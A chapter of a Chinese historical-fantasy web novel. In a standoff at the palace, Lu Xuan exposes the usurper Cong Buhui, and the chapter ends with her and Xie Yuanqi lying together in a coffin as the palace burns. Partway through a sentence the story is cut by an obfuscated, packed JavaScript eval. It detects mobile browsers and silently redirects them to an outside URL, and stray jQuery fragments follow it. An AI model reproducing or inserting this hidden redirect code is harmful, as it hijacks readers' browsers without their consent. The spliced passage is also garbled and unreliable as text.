50. 同棺而眠

作品:《话本里的他走出来了

    陆暄此刻面上沾满尘土,发髻松动,虽是风尘仆仆模样,眼神却格外清明。


    她扫了眼棺材,暗自告罪:“抱歉,扰你清静了。”继而点燃了火把,一边将火把凑近棺材,一边观察丛不悔的举动。


    火舌即将触到棺材,他却没有喝止,陆暄不由得拧眉,稍稍收回力道,她并没有打算真的烧毁这副棺材,只是想用作谈判的筹码。若丛不悔所做一切都是为了她,自该退让。


    眼下禁军的刀刃皆对着那些官员,他们丧命只是瞬间之事。趴在屋顶上的弓箭手见状搭弓,仿佛只要禁军敢动手,他们就会将他们射成筛子,两方僵持不下。


    “放了他们,我便让她安然入土!”陆暄高声喊道,挥舞着手中火把。


    丛不悔却只是盯着那副棺材,嘴角扯笑,最后恶狠狠看着陆暄,笑得令人发毛。他往前走了几步,距离陆暄还有数十步之遥时,镇国大将军手下的顾家军拦在她身前,佩刀出鞘,便见他停止不再向前。


    “一副棺材,烧了便烧了,你竟敢威胁新皇。”丛不悔身量高,说话时居高临下地看着陆暄,眼底蓄满杀意。


    此时,几乎没人注意到,有一道褐色身影从景隆帝寝宫里溜出。


    “这里面可是你的妻子…”


    “闭嘴!”


    丛不悔怒喝,将手中的刀朝陆暄扔来,被顾家军挡下,陆暄没能说完要说的话。


    后面的官员偷偷抬眼看向这边,小声嘀咕。


    “里面是镜王妃?”


    “可她今日还宴请了我夫人…”


    ……


    陆暄心中一阵恶寒,她本以为丛不悔虽是心狠手辣,至少他是为妻报仇,不至于泯灭良知。谁料他是真的狼子野心,只是借着这个报仇的由头,冠冕堂皇地抢夺权柄,还要冠以自己一个痴情人的名声。


    她想到那堆白骨,阖上双眼,怜悯之心顿生,陆暄冷声道:“你这般行径,只怕你的发妻要含恨九泉,死后都不得安宁!”


    “是你,在扰她安宁!”他目眦欲裂,却不敢看那副棺材。


    “三年前,圣上微服出访时,死的那名女子是她吧。”陆暄看着他心虚的模样,冷静道。


    想起三年前的那个夜晚,丛不悔愕然不语。


    “你敢说你所做的一切都是为了她?既是如此,为何看到我要毁她尸骨,却无动于衷,是大业既成,无须再装了吗?”陆暄不露声色地瞥了瞥那个褐色人影。


    广义侯谢轩官任兵部尚书,掌军籍管理、军械制备。年前他查看卷宗,发现次品军械的数量异常,且近一年内军队中无故死亡的人数竟多于往前数十年之和。


    他按下不表,私下探查,竟让他发现军器监少监与镜王暗中勾结,将次品军械偷偷流出宫外。镜王身份本就存疑,此举背后野心更是不小,谢轩惊疑不定,却不敢贸然上报,意欲调查清楚再做打算,多方打听之下,他才得知丛不悔的来历。


    丛不悔是丰京城外桃溪村人士,本是军户出身,可三年前因一桩变故,他假死遁身,伪造了假户籍,因救主有功,摇身一变成了如今的镜王。而那变故,便是丛不悔的发妻李沁月因不堪受辱,自尽而亡。


    三年前圣上微服出访的便是桃溪村,这般巧合,很难不令人联想李沁月就是当初圣上折辱的女子。


    谢轩就着该条线索查下去,发现李沁月还有一个哥哥,两人感情甚笃,可自李沁月死后,他就不知所踪了。但圣上如今的近侍也是三年入宫的,难免让人多想。


    谢轩还问了当年敛尸的官员,那人支支吾吾,竟是嫌差事晦气,将李沁月尸体扔进了林子里。不过他去桃溪村查看时,发现那林子确有一座无名坟,当是李沁月的坟无误。


    昨日他们在德王府商讨对策之时,认为镜王所做种种,无非是为了替李沁月报仇,为了她能蛰伏三年,怕是李沁月对他而言意义非凡。


    他们兵分几路,谢轩命手下人快马追回镇国大将军,陆暄和谢元祈去寻李沁月尸首,只是他们没想到丛不悔会这么快发难,无奈之下,德王与苏太师等人只能尽力拖延时间。


    所幸镇国大将军手下兵马多,行路慢,叫他们赶上了,眼下带兵回来勤王的是顾小将军顾靖安。


    只是丛不悔刚刚看到棺木时的确有所收敛,陆暄还道他们赌对了,可眼下看来也不尽然。谁能保证,自己在面对至高无上的权力时,全然不心动,哪怕他一开始的确是为妻子报仇,可他在宫中这两年,见惯捧高踩低,感受到权力之妙,怕是早已忘记了初衷。


    但陆暄相信,为了妹妹,能舍弃过去,甘愿进入宫中为奴之人必是意志坚定,轻易不会被富贵荣华糊眼,因此看向斜前方、低眉顺眼的李岩,陆暄的目光更有深意,忽而计从心来。


    “也是,你连自己的发妻都能舍弃,更遑论他人之妻。”陆暄虽是看着丛不悔说的,可目光总是似有若无地投向吴谓。


    吴谓作为殿前司之首,自是眼观六路、耳听八方,敏锐得很。听到陆暄意有所指,他握紧了刀柄,看着丛不影的背影。


    殿前司是天子近卫,前程锦绣,风光无限,怎么可能轻易听命于丛不悔,不过是吴谓与丛不悔遭遇相同,丛不悔许诺了他什么,吴谓带着禁军替他威慑众人,两人只能说是盟友罢了。


    既是如此,离间他们几人就是了。


    丛不悔拧眉,皮笑肉不笑:“小丫头,挺会离间人心啊。”


    “镜王妃那般尊贵,圣上与其私会且要遮遮掩掩,他去祸害他人时,未必就没有镜王殿下你的推波助澜、暗中善后事宜。”


    陆暄面沉如墨,目光在丛不悔与陆培正之间逡巡,从前就是因为苏映华撞破他们的私事,才无辜被害。眼下这般好的时机,她自要在大庭广众之下说出他们见不得人的勾当。陆培正就这般死了,倒是便宜他了,还有丛不悔也该付出代价。


    一石激起千层浪,在场之人闻言无一不露出鄙夷之色。一是为景隆帝的畜生行为汗颜,二是为丛不悔以牺牲自己王妃为垫脚石,没有人性地向上爬。


    吴谓微微抬手,示意禁军收回刀,看向丛不悔的目光愈发犀利。因丛不悔是背对着他们的,未曾留意到身后微弱的举动。


    “笑话!本王的王妃自是清清白白,没有女子甘愿受此种耻辱。”


    “不堪受辱,然后如李沁月那般轻生吗?”


    丛不悔想起李沁月的死状,剪子刺入心口,绿衣染血,死不瞑目,他不由得愣怔在地。


    提到李沁月的名字,陆暄明显能看到李岩身子一僵,他的头虽是垂着的,视线却落在棺木及她手中的火把上。


    “你骗了沁月的哥哥,那夜你本可以救她的,但是你没有!”陆暄添油加醋让火烧得更猛些。


    果然,李岩猛地抬头,惊愕、愤怒、憎恨齐齐上脸,但很快被他压制下去,他盯着丛不悔等着他的回答。


    可丛不悔没有反驳,他眼神凌厉,眸子微眯,森冷怒意四散,仿佛被人窥见了内心最阴暗那面,并将其曝露在大庭广众之下。


    三年前,他从军中归家,比往年都早。他特意买了酒菜想同李沁月庆贺一番,却不料撞见有歹人对她欲行不轨,他本想冲进去却发现了屋外的守卫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945339|176242||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,他们绝非普通人。反复衡量之后,他绝计袖手旁观,而那酒菜,也变成了祭奠她的供品。


    陆暄的心蓦地一沉,她本来只是瞎说,想破坏他们同盟,莫非真叫她说对了,他当年是真的可以救下李沁月的。


    谢元祈见状微微侧身,替她挡住这凶光。


    他的不承认不否认,在众人看来就是默认。先是任由发妻被凌辱致死,后是将镜王妃送到他人之榻,丛不悔的狠戾绝情令人咋舌。


    失人心者失天下。


    吴谓顿生悲凉,他竟为杀害自己妻子的帮凶鞍前马后,当下失了心气,颓然扔了手中的刀,他的手下见状纷纷弃械。


    陆暄朝德王点头,德王会意,摆手示意院中官员提起十二分精神,而后指向门口。他们赶紧点头,小心松了松筋骨,轻轻跺脚,唯恐待会冲出去时掉了鞋子。


    “跑!”陆暄将火把扔到了地上,随即高喊。


    顾家军冲向前,想擒住丛不悔,院内官员闻声争前恐后地往外边跑,殿前司的禁军拦也不拦,任由他们一窝蜂涌出去。


    出乎意料的是,丛不悔跟顾家军交手时,边打边退,竟是退到了景隆帝的寝宫之中,他看着外边跑动的人群,勾唇一笑,继而从怀中掏出火折子,甩向寝宫一角。寝宫里帐幔多,书册多,被火点燃,登时火光冲天。


    “退!”顾家军有秩序退离,禁军见起火了也忙着撤离,李岩却捡起地上的刀,冲了进去。


    “嘭—”就在此刻,寝宫被炸塌了,黑烟弥漫,响声震天,这火烧得妖异,没有燃油,火苗竟也蔓延出了院外。众人吓得失了魂,不管不顾往前冲,少了谁,都不曾有人注意。


    陆暄愕然站在原地,面露惊惧,因为她发现,自己竟跑不出去了。


    谢元祈亦是如此。


    他们两人本离宫门最近,最是容易逃离,可当谢元祈牵起陆暄的手跑出去时,竟像鬼打墙一般,不管往哪个方向,最后都只能跑回这里,尝试数次皆是如此。


    陆暄能感觉到火苗在舔舐她的皮肤,灼热感席卷而来,她怆然地与谢元祈对视,难道他们今日真要葬身火海了吗?


    谢元祈抱住了她,下巴抵住她的头,手轻抚她的后脑,自知难逃此劫,也说不出劝慰之语,只能插科打诨让她别那么害怕:“我们起码还有口薄棺。”


    陆暄也看向那口棺木,喃喃道:“原来这棺是为我们自己备的。”


    “要不要躺进去试试。”谢元祈盛情邀请陆暄。他推开棺盖,里面空空如也。


    他们无意打扰李沁月亡灵,事急从权,他们借用了她的棺木,另寻了口好棺将她下葬了。


    陆暄被他说动,点了点头。


    他将她抱进去,而后自己用手撑着棺沿,跳了进去,看陆暄躺好,他挪动棺盖,合上后,与陆暄面对面躺着。


    “生前未能同衾,死后却能同棺,如此,我和阿煦也算夫妻了。”他握住陆暄的手,愧歉道:“只是没能给我的阿煦一场体面的婚仪。”


    他的脸近在咫尺,陆暄凑近他,两人鼻尖相触,她的眼睫扫着他的眼睫,轻笑道:“我们这样的夫妻世间少有,无妨,你欠我的,地下去办。”躺进去后,她没那么害怕了。


    谢元祈唇角微扬,在陆暄额上印下一吻:“是绝无仅有。”说完他将两人衣角绑在了一起,愉悦道:“永结同心。这样,黄泉路上,我们便不会走散了。不然阿煦讨要的东西,我可给不了了。”


    陆暄抱紧他,两人就在窄小的棺木中相拥,感受着彼此的心跳。


    而那口棺木,渐渐被火吞噬殆尽。